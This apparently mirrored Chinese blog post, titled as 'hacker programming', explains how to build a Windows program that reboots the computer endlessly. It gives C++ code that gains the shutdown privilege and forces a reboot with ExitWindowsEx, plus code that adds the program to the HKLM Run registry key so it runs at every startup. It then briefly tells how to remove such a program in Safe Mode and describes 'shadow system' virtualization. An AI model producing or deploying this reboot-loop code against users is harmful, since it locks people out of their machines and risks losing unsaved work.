zoukankan      html  css  js  c++  java
  • 2016.9.15 黑客编程之无限启动

    1.涉及的编程工具是:VS2013;可以在windows环境下,编写web,JavaScript,C++,C等等程序;

    2.第一个需要掌握的函数是:ExitWindowsEx(EWX_REBOOT, 0);该函数用来重启,关闭,注销电脑;

    3.使用该函数必须先,包含windows的API:

    #include <windows.h>

    4.权限问题,代码解决:

    BOOL MySystemShutdown()
    {
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // Get a token for this process.

    if (!OpenProcessToken(GetCurrentProcess(),
    TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    return(FALSE);

    // Get the LUID for the shutdown privilege.

    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
    &tkp.Privileges[0].Luid);

    tkp.PrivilegeCount = 1; // one privilege to set
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Get the shutdown privilege for this process.

    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
    (PTOKEN_PRIVILEGES)NULL, 0);

    if (GetLastError() != ERROR_SUCCESS)
    return FALSE;

    // Shut down the system and force all applications to close.

    if (!ExitWindowsEx(EWX_REBOOT | EWX_FORCE,                       //ExitWindowsEx是系统提供的API,要使用它,必须先提权;
    SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
    SHTDN_REASON_MINOR_UPGRADE |
    SHTDN_REASON_FLAG_PLANNED))
    return FALSE;

    //shutdown was successful
    return TRUE;
    }

    3.VS2013中的项目设置:

    (1)项目->属性->常规->平台工具集,选择XP;这样可以使得程序在XP及其以上的系统中,运作;

    (2)项目->属性->C++->代码生成->运行库->选择多线程(/MT)

    4.用代码来更改注册表的设置,注册表其实就是windows的配置文件:

    HKEY hKey = { 0 };                                                            //初始化,承载注册表,代表注册表修改位置的句柄
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE,&hKey);   //注册表的路径,必须是“//”
                                                                                                             
    char sz_path_c[MAXBYTE] = { 0 };                                 

    GetModuleFileNameA(nullptr,sz_path_c,MAXBYTE);
    RegSetValueExA(hKey, "shutDownDeno", 0, REG_SZ, (BYTE*)sz_path_c, strlen(sz_path_c));                        //写入注册表的函数

    5.系统开机启动,有不下5个地方可以写入;破解方法:

    (1)开机按F8:进入安全模式。在安全模式下:

    删除注册表的选项;

    (2)安全模式下:删除这个软件;

    6.影子系统

    影子系统 ,是隔离保护Windows操作系统,同时创建一个和真实操作系统一模一样的虚拟化影像系统。进入影子系统后,所有操作都是虚拟的,所有的病毒和流氓软件都无法感染真正的操作系统。系统出现问题了,或者上网产生垃圾文件,只需轻松的重启电脑,一切又恢复最佳状态。

  • 相关阅读:
    纯JS实现中国行政区域上下联动选择地址
    java解析中国行政区域并在页面显示实现动态逐级筛选
    使用HttpClient 发送get、post请求,及其解析xml返回数据
    JS实现动态提示文本框可输入剩余字数(类似发表微博数字提示)
    webApi 数据绑定 获取
    EF Code First 常用命令
    [解决WebClient或HttpWebRequest首次连接缓慢问题]
    【转】Entity Framework技术系列之7:LINQ to Entities
    Ajax方法提交整个表单的信息
    【转】MVC中处理Json和JS中处理Json对象
  • 原文地址:https://www.cnblogs.com/hqutcy/p/5875652.html
Copyright © 2011-2022 走看看